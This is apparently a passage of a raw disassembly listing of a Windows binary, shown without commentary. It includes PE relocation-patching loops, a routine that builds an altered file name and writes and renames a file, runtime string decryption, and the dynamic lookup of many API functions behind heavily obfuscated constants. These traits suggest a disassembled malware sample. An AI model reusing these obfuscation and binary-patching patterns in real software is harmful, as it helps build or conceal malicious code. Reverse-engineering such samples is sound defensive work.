		mov	[esi+8], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		movsx	eax, word_5511EC
		mov	edx, dword_5511D0
		lea	eax, [eax+edx+6]
		push	eax
		mov	eax, dword_551244
		sub	eax, 7
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CDA34
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		push	ebx
		push	esi
		call	ds:dword_44B1A4
		mov	edi, [ebp+var_18]
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43E8CA
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_31F20]
		cmp	eax, ecx
		jbe	short loc_441249
		movsx	edx, word_551268
		sub	edx, 2
		cmp	byte ptr [ebx+edx], 64h
		jnz	short loc_441249
		sub	eax, ecx
		mov	[ebp+var_31F30], eax
		add	[esi+10h], eax
		mov	eax, [ebp+var_31F30]
		add	[esi+8], eax


loc_441249:				; CODE XREF: sub_440485+D9Ej
					; sub_440485+DAEj
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		movsx	eax, word_5511AC
		add	eax, 0FFAh
		push	eax
		mov	eax, [esi+0Ch]
		add	eax, [ebx+8]
		push	eax
		call	sub_43E8CA
		mov	edi, [ebp+var_8]
		mov	[edi+50h], eax
		mov	eax, dword_5510C0
		add	eax, 0FFFh
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, [ebx+8]
		push	eax
		call	sub_43E8CA
		mov	[ebp+var_1C], eax
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CD914
		add	esp, 1Ch


loc_4412A8:				; CODE XREF: sub_440485+BE7j
					; sub_440485+C25j ...
		inc	[ebp+var_440]


loc_4412AE:				; CODE XREF: sub_440485+B36j
		mov	eax, [ebp+var_84C]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_440FC0
		mov	eax, [ebp+var_1080]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_4412D3:				; CODE XREF: sub_440485+107Aj
		mov	eax, dword_551148
		sub	eax, 7
		mov	[ebp+var_20], eax
		jmp	short loc_44133C
; ---------------------------------------------------------------------------


loc_4412E0:				; CODE XREF: sub_440485+EBDj
		mov	edi, [ebp+var_20]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_4412FC
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_4412FC:				; CODE XREF: sub_440485+E6Aj
		mov	edi, [ebp+var_20]
		shl	edi, 2
		mov	edx, [ebp+edi+var_83C]
		add	edx, [ebp+edi+var_420]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_441339
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_441344
; ---------------------------------------------------------------------------


loc_441339:				; CODE XREF: sub_440485+E90j
		inc	[ebp+var_20]


loc_44133C:				; CODE XREF: sub_440485+E59j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_20], eax
		jb	short loc_4412E0


loc_441344:				; CODE XREF: sub_440485+EB2j
		mov	eax, dword_5511E0
		sub	eax, 9
		mov	[ebp+var_428], eax
		jmp	loc_4414C5
; ---------------------------------------------------------------------------


loc_441357:				; CODE XREF: sub_440485+104Cj
		mov	eax, [ebp+var_428]
		add	eax, [ebp+var_14]
		mov	edx, dword_5510FC
		add	edx, 4
		movsx	ecx, word_551224
		add	edx, ecx
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F20], ax
		movzx	eax, word ptr [ebp+var_31F20]
		mov	edx, dword_5510FC
		add	edx, dword_551264
		sub	edx, 5
		cmp	eax, edx
		jz	loc_4414D7
		movzx	edi, word ptr [ebp+var_31F20]
		mov	edx, dword_55119C
		mov	ecx, edx
		add	ecx, dword_55124C
		sar	edi, cl
		mov	word ptr [ebp+var_31F28+2], di
		movzx	edi, word ptr [ebp+var_31F20]
		mov	ecx, dword_551148
		sub	ecx, 3
		shl	edi, cl
		mov	word ptr [ebp+var_31F20+2], di
		movzx	edi, word ptr [ebp+var_31F20+2]
		mov	edx, dword_5511B8
		movsx	ecx, word_551144
		add	edx, ecx
		mov	ecx, edx
		sub	ecx, 4
		sar	edi, cl
		mov	word ptr [ebp+var_31F20+2], di
		movzx	eax, word ptr [ebp+var_31F20+2]
		mov	edx, dword_5510F4
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_44142D
		movsx	eax, word_551144
		add	eax, dword_551128
		sub	eax, 8
		cmp	[ebp+var_428], eax
		jnz	loc_4414D7


loc_44142D:				; CODE XREF: sub_440485+F8Aj
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		movzx	edx, word ptr [ebp+var_31F20+2]
		add	eax, edx
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_1054]
		add	eax, [edx]
		mov	edx, [ebp+var_8]
		add	eax, [edx+34h]
		movzx	edx, word ptr [ebp+var_31F20+2]
		add	eax, edx
		sub	eax, [ebp+var_C50]
		mov	[ebp+var_31F30], eax
		sub	eax, [ebp+var_31F2C]
		mov	[ebp+var_31F34], eax
		movzx	eax, word ptr [ebp+var_31F28+2]
		cmp	eax, dword_551178
		jnz	short loc_4414B1
		movzx	eax, word ptr [ebp+var_31F20+2]
		add	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F38], eax
		mov	edx, [ebp+var_31F34]
		add	[eax], edx


loc_4414B1:				; CODE XREF: sub_440485+1001j
		mov	eax, dword_5511DC
		add	eax, dword_55116C
		sub	eax, 10h
		add	[ebp+var_428], eax


loc_4414C5:				; CODE XREF: sub_440485+ECDj
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_441357


loc_4414D7:				; CODE XREF: sub_440485+F17j
					; sub_440485+FA2j
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1080]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_4412D3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_118C],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1184],	0
		jnz	short loc_441542
		add	eax, 60h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_441542:				; CODE XREF: sub_440485+109Cj
		mov	eax, [ebp+var_8]
		mov	edx, dword_551250
		add	edx, 0Bh
		mov	[eax+44h], dx
		mov	edx, dword_5511E4
		movsx	ecx, word_5510D8
		add	edx, ecx
		sub	edx, 6
		mov	[eax+1Ah], dl
		mov	ecx, [ebp+var_107C]
		add	ecx, [ebp+var_42C]
		mov	[ebp+var_31EE8], ecx
		mov	edx, dword_5510F4
		add	edx, 7
		mov	[eax+46h], dx
		mov	eax, [ebp+var_107C]
		mov	edx, ecx
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1188]
		mov	[ebp+var_31EEC], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EF0], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		movsx	eax, word_551168
		add	eax, dword_5510B8
		sub	eax, 0Ch
		mov	[ebp+var_24], eax
		jmp	short loc_441607
; ---------------------------------------------------------------------------


loc_4415C6:				; CODE XREF: sub_440485+1188j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_441604
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_1198],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1194],	edi
		jmp	short loc_44160F
; ---------------------------------------------------------------------------


loc_441604:				; CODE XREF: sub_440485+115Bj
		inc	[ebp+var_24]


loc_441607:				; CODE XREF: sub_440485+113Fj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_4415C6


loc_44160F:				; CODE XREF: sub_440485+117Dj
		mov	eax, [ebp+var_1194]
		mov	edx, [ebp+var_8]
		add	eax, [edx+34h]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_1198]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_4418D6
; ---------------------------------------------------------------------------


loc_441650:				; CODE XREF: sub_440485+1460j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, dword_551218
		add	edi, 0E7h
		add	edi, dword_55122C
		cmp	ecx, edi
		jnz	loc_441788
		movsx	ecx, word_5511C4
		movsx	edi, word_55111C
		add	ecx, edi
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word_55123C
		sub	edi, 3
		cmp	ecx, edi
		jnz	loc_441788
		mov	ecx, dword_55126C
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word_5510EC
		add	edi, dword_551114
		sub	edi, 2
		cmp	ecx, edi
		jnz	loc_441788
		mov	ecx, dword_551164
		add	ecx, 4
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_5511B0
		sub	edi, 7
		cmp	ecx, edi
		jnz	loc_441788
		mov	ecx, dword_5510C0
		add	ecx, dword_5511F8
		sub	ecx, 7
		add	eax, ecx
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_5511A0
		add	edx, dword_551250
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_441788
		mov	eax, [ebp+var_118C]
		mov	edx, [ebp+var_8]
		add	eax, [edx+34h]
		mov	[ebp+var_31F20], eax
		mov	eax, [edx+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F24], eax
		movsx	eax, word_55120C
		add	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_31F24]
		add	eax, [ebp+var_31F20]
		mov	edx, dword_551134
		add	edx, dword_551128
		sub	edx, 0Bh
		sub	eax, edx
		mov	[ebp+var_31F28], eax
		mov	edi, dword_551134
		mov	edx, [ebp+var_C]
		mov	ecx, dword_551098
		dec	ecx
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-20h], ecx


loc_441788:				; CODE XREF: sub_440485+11E9j
					; sub_440485+1216j ...
		mov	eax, [ebp+var_C]
		movsx	edx, word_5511EC
		mov	[ebp+var_31F20], edx
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_31F24], ecx
		mov	edi, dword_551134
		add	edi, edx
		sub	edi, 0Ah
		mov	edx, eax
		add	edx, edi
		movzx	edx, byte ptr [ecx+edx]
		mov	edi, dword_551148
		add	edi, dword_55109C
		sub	edi, 0Eh
		cmp	edx, edi
		jnz	loc_4418D3
		movsx	edx, word_5511A8
		add	edx, dword_5510D4
		sub	edx, 5
		mov	edi, eax
		add	edi, edx
		movzx	edx, byte ptr [ecx+edi]
		mov	edi, dword_551218
		dec	edi
		cmp	edx, edi
		jnz	loc_4418D3
		mov	edx, dword_55121C
		add	edx, 3
		mov	edi, eax
		add	edi, edx
		movzx	edx, byte ptr [ecx+edi]
		mov	edi, dword_551204
		sub	edi, 3
		cmp	edx, edi
		jnz	loc_4418D3
		mov	edx, dword_5511D0
		movsx	edi, word_551268
		add	edx, edi
		sub	edx, 2
		mov	edi, eax
		add	edi, edx
		movzx	edx, byte ptr [ecx+edi]
		movsx	edi, word_551194
		mov	ecx, [ebp+var_31F20]
		add	edi, ecx
		mov	ecx, edi
		sub	ecx, 0Ah
		cmp	edx, ecx
		jnz	loc_4418D3
		mov	edx, [ebp+var_31F24]
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_55114C
		add	edx, 0E2h
		cmp	eax, edx
		jnz	short loc_4418D3
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_850]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_8]
		add	eax, [edx+34h]
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F2C], eax
		movsx	edx, word_551188
		mov	ecx, dword_55113C
		lea	edx, [edx+ecx-0Fh]
		sub	edx, [ebp+var_31F28]
		add	eax, edx
		mov	edx, dword_551118
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+var_31F30], eax
		mov	edi, dword_551218
		mov	edx, [ebp+var_C]
		movsx	ecx, word_551120
		sub	ecx, 2
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-4], ecx


loc_4418D3:				; CODE XREF: sub_440485+1340j
					; sub_440485+1367j ...
		inc	[ebp+var_C]


loc_4418D6:				; CODE XREF: sub_440485+11C6j
		mov	eax, [ebp+var_850]
		add	eax, ds:dword_4CE9F0
		cmp	[ebp+var_C], eax
		jb	loc_441650
		push	[ebp+var_1070]
		call	ds:dword_4CDA48
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_44B1A4
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_441912:				; CODE XREF: sub_440485+1492j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441912
		mov	[ebp+var_31EDC], eax
		movsx	edx, word_55120C
		add	edx, 2
		sub	eax, edx
		mov	[ebp+eax+var_117F], 76h
		mov	eax, [ebp+var_31EDC]
		mov	edx, dword_551130
		add	edx, dword_5511E4
		sub	edx, 7
		sub	eax, edx
		mov	[ebp+eax+var_117F], 72h
		mov	eax, dword_5511D0
		mov	edx, [ebp+var_31EDC]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 3
		sub	edx, eax
		mov	[ebp+edx+var_117F], 69h
		movsx	eax, word_5510E4
		movsx	edx, word_551224
		add	eax, edx
		sub	eax, 2
		push	eax
		push	dword_5510BC
		push	2
		mov	eax, dword_551190
		sub	eax, 6
		push	eax
		mov	eax, dword_551138
		sub	eax, 3
		push	eax
		push	40000000h
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_54FC18
		mov	[ebp+var_1070],	eax
		movsx	eax, word_5510E4
		push	eax
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_55001C
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		push	[ebp+var_1070]
		call	ds:dword_4CDA48
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_4CC644
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_44800C
		mov	eax, 1
		jmp	short loc_441A29
; ---------------------------------------------------------------------------


loc_441A12:				; CODE XREF: sub_440485+13Fj
					; sub_440485+159j ...
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		push	[ebp+var_1070]
		call	ds:dword_4CDA48
		xor	eax, eax


loc_441A29:				; CODE XREF: sub_440485+CCj
					; sub_440485+158Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440485	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441A2E	proc near		; CODE XREF: sub_43F2CB+122p

var_40		= word ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, dword_551154
		mov	edi, eax
		add	edi, dword_5510C4
		sub	edi, 10h
		jmp	short loc_441A5A
; ---------------------------------------------------------------------------


loc_441A4C:				; CODE XREF: sub_441A2E+3Fj
		mov	ebx, edi
		shl	ebx, 1
		mov	dx, [esi+edi*2]
		mov	[ebp+ebx+var_40], dx
		inc	edi


loc_441A5A:				; CODE XREF: sub_441A2E+1Cj
		movsx	eax, word_551170
		mov	edx, dword_5511D0
		lea	eax, [eax+edx+1Ch]
		cmp	edi, eax
		jb	short loc_441A4C
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	sub_4466C9
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441A81	proc near		; DATA XREF: .data:off_5512C0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	offset byte_550140
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_441ABD
		push	offset dword_552A24
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_441ABD
		push	offset dword_552A04
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jz	short loc_441ACD


loc_441ABD:				; CODE XREF: sub_441A81+1Aj
					; sub_441A81+2Aj
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		push	dword ptr [esi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_441ADE
; ---------------------------------------------------------------------------


loc_441ACD:				; CODE XREF: sub_441A81+3Aj
		movsx	eax, word_551180
		sub	eax, 2
		mov	[esi], eax
		mov	eax, 80004002h


loc_441ADE:				; CODE XREF: sub_441A81+4Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_441A81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441AE5	proc near		; CODE XREF: sub_43E491+3C3p

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_267		= byte ptr -267h
var_213		= byte ptr -213h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_202		= byte ptr -202h
var_200		= byte ptr -200h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	edi
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_444A91
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_551200
		sub	eax, 3
		push	eax
		mov	eax, dword_551248
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	1Ch
		mov	eax, dword_551148
		sub	eax, 7
		push	eax
		call	ds:dword_48BA00
		lea	eax, sub_43A985
		mov	ds:dword_50EA1C, eax
		lea	eax, sub_43DF32
		mov	ds:dword_48B9E4, eax
		push	offset byte_55203D
		call	sub_43AC94
		mov	edi, dword_55118C
		add	edi, 4
		add	edi, dword_5511F4
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CD930
		call	ds:dword_50EA28
		push	offset dword_449FE0
		call	sub_43EA2A
		call	sub_43A646
		lea	eax, dword_4CD930
		mov	ds:dword_449FD4, eax
		push	offset word_55202A
		call	sub_43AC94
		push	dword_55113C
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_44B0A0
		call	ds:dword_50EA28
		push	offset byte_55201B
		call	sub_43AC94
		mov	edi, dword_551108
		add	edi, dword_5511B8
		push	edi
		lea	edi, [ebp+var_267]
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CC330
		call	ds:dword_50EA28
		lea	eax, sub_43A985
		mov	ds:dword_48C1E0, eax
		lea	eax, dword_4CC540
		mov	ds:dword_44801C, eax
		lea	eax, sub_43A985
		mov	ds:dword_449014, eax
		lea	eax, sub_43BF49
		mov	ds:dword_54EB74, eax
		lea	eax, sub_43F952
		mov	ds:dword_48C2F0, eax
		lea	eax, dword_44B0A0
		mov	ds:dword_4CD920, eax
		push	offset dword_552008
		call	sub_43AC94
		mov	edi, dword_55119C
		add	edi, 2
		push	edi
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		push	offset dword_4CC540
		call	ds:dword_50EA28
		mov	eax, dword_5510DC
		add	eax, 2
		movsx	edx, word_551220
		add	eax, edx
		push	eax
		push	offset dword_48C300
		call	sub_44675D
		push	offset sub_442BEC
		call	sub_43AD8B
		push	offset sub_442767
		call	sub_43AD8B
		push	offset sub_4472A0
		call	sub_43AD8B
		lea	eax, dword_54EA70
		mov	dword_5512DC, eax
		movsx	eax, word_551168
		add	eax, 6
		mov	ds:dword_44B5D0, eax
		mov	eax, dword_5511E8
		movsx	edx, word_5511C8
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_203]
		push	eax
		call	sub_43BCD9
		add	esp, 78h
		mov	eax, dword_551218
		cmp	[ebp+eax+var_204], 64h
		jnz	short loc_441D0A
		movsx	eax, [ebp+var_202]
		mov	edx, dword_5511D4
		add	edx, 17h
		sub	eax, edx
		mov	[ebp+var_268], al
		movzx	eax, [ebp+var_268]
		push	eax
		mov	eax, dword_55116C
		sub	eax, 9
		push	eax
		call	sub_43C10A
		add	esp, 8
		movsx	eax, word_551170
		dec	eax
		mov	ds:dword_44B5D0, eax


loc_441D0A:				; CODE XREF: sub_441AE5+1E5j
		movsx	eax, word_551194
		add	eax, dword_551238
		cmp	[ebp+eax+var_213], 67h
		jnz	short loc_441D6E
		mov	eax, dword_551128
		movsx	edx, word_551194
		mov	ecx, eax
		add	ecx, edx
		lea	edx, [ecx-0Eh]
		mov	[ebp+eax+var_200], dl
		lea	eax, [ebp+var_202]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_26C], eax
		mov	eax, dword_55116C
		sub	eax, 9
		mov	ds:dword_44B5D0, eax
		push	[ebp+var_26C]
		push	offset dword_54EA70
		call	sub_443F7C
		add	esp, 0Ch


loc_441D6E:				; CODE XREF: sub_441AE5+23Aj
		pop	edi
		leave
		retn
sub_441AE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441D71	proc near		; CODE XREF: sub_442A78+B8p
					; sub_442A78+EEp

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, dword_551114
		sub	eax, 2
		cmp	byte ptr [edi+eax], 2Eh
		jz	short loc_441DD2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44B1A4
		push	offset byte_552003
		call	sub_43AC94
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_44802C
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44802C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_43F79F
		add	esp, 20h


loc_441DD2:				; CODE XREF: sub_441D71+1Aj
		pop	edi
		pop	esi
		leave
		retn
sub_441D71	endp


; =============== S U B	R O U T	I N E =======================================



sub_441DD6	proc near		; CODE XREF: sub_43E491+11p
		push	edi
		push	offset byte_551FF3
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551290, eax
		mov	eax, dword_551138
		add	eax, dword_551244
		sub	eax, 0Ah
		cmp	eax, dword_551290
		jnz	short loc_441E1B
		push	offset byte_551FE3
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551290, eax


loc_441E1B:				; CODE XREF: sub_441DD6+2Cj
		push	offset byte_551FD1
		call	sub_43AC94
		push	eax
		push	dword_551290
		call	ds:dword_44B1AC
		mov	ds:dword_44900C, eax
		push	offset asc_551FC2 ; "\v"
		call	sub_43AC94
		push	eax
		push	dword_551290
		call	ds:dword_44B1AC
		mov	ds:dword_448048, eax
		push	offset word_551FB2
		call	sub_43AC94
		push	eax
		push	dword_551290
		call	ds:dword_44B1AC
		mov	ds:dword_4CC324, eax
		push	offset asc_551FA1 ; "\r"
		call	sub_43AC94
		push	eax
		push	dword_551290
		call	ds:dword_44B1AC
		mov	ds:dword_550034, eax
		push	offset byte_551F91
		call	sub_43AC94
		add	esp, 14h
		push	eax
		push	dword_551290
		call	ds:dword_44B1AC
		mov	ds:dword_550154, eax
		pop	edi
		retn
sub_441DD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_441EAC	proc near		; CODE XREF: sub_43E491+2Fp
		push	edi
		push	offset byte_551F83
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551284, eax
		mov	eax, dword_551130
		movsx	edx, word_551220
		add	eax, edx
		sub	eax, 4
		cmp	dword_551284, eax
		jnz	short loc_441EF4
		push	offset byte_551F75
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551284, eax


loc_441EF4:				; CODE XREF: sub_441EAC+2Fj
		push	offset dword_551F68
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_448004, eax
		push	offset dword_551F54
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_449018, eax
		push	offset word_551F46
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_54EA58, eax
		push	offset byte_551F2F
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_44B5A4, eax
		push	offset word_551F1E
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_54EA50, eax
		push	offset byte_551F0F
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_4CC648, eax
		push	offset byte_551EFD
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_44B090, eax
		push	offset byte_551EED
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_448018, eax
		push	offset dword_551EDC
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_449FD0, eax
		push	offset dword_551EC8
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_54EC00, eax
		push	offset word_551EB6
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_44B5C8, eax
		push	offset byte_551EA5
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_48C1E8, eax
		push	offset byte_551E8F
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_449010, eax
		push	offset word_551E7E
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_50EA30, eax
		push	offset dword_551E6C
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_44B5AC, eax
		push	offset byte_551E59
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_4CDA3C, eax
		push	offset byte_551E4D
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_48B9FC, eax
		push	offset word_551E3E
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_50EA38, eax
		push	offset byte_551E2B
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_4CE9FC, eax
		push	offset byte_551E1F
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_4CE9F8, eax
		push	offset byte_551E0D
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_54EA54, eax
		push	offset byte_551DFB
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_550038, eax
		push	offset byte_551DE9
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		mov	ds:dword_4CEA18, eax
		push	offset byte_551DDB
		call	sub_43AC94
		push	eax
		call	sub_43AC7C
		add	esp, 0C0h
		mov	ds:dword_449000, eax
		pop	edi
		retn
sub_441EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4420F4	proc near		; CODE XREF: sub_43E913+27p
					; sub_43FC83+37p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, [esp+0Ch+arg_0]
		mov	edi, [esp+0Ch+arg_4]
		mov	ecx, edi
		mov	ebx, esi
		shl	ebx, cl
